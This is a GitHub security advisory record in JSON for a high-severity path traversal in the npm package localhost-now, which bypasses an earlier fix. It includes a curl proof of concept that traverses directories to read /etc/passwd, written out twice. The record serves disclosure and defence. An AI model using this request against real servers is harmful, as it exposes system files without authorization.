{"id":"GHSA-73cw-jxmm-qpgh","aliases":["GHSA-73cw-jxmm-qpgh"],"related":[],"kind":"vulnerability","state":"published","title":"Path Traversal in localhost-now","summary":"All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.","format":"markdown","source":"ghsa"}],"published":"2019-06-11T16:40:48.000Z","modified":"2020-08-31T18:31:31.000Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.0.2"}],"ecosystem":"npm","package":"localhost-now","purl":"pkg:npm/localhost-now","source":"ghsa"}],"references":[{"url":"https://hackerone.com/reports/329837","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/DCKT/localhost-now/blob/master/lib/app.js#L17","tags":["web"],"sources":["ghsa"]},{"url":"https://www.npmjs.com/advisories/655","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-73cw-jxmm-qpgh","url":"https://github.com/advisories/GHSA-73cw-jxmm-qpgh","licence":"CC-BY-4.0","modified":"2020-08-31T18:31:31.000Z"}],"updatedAt":"2026-11-25T22:56:44.467Z"}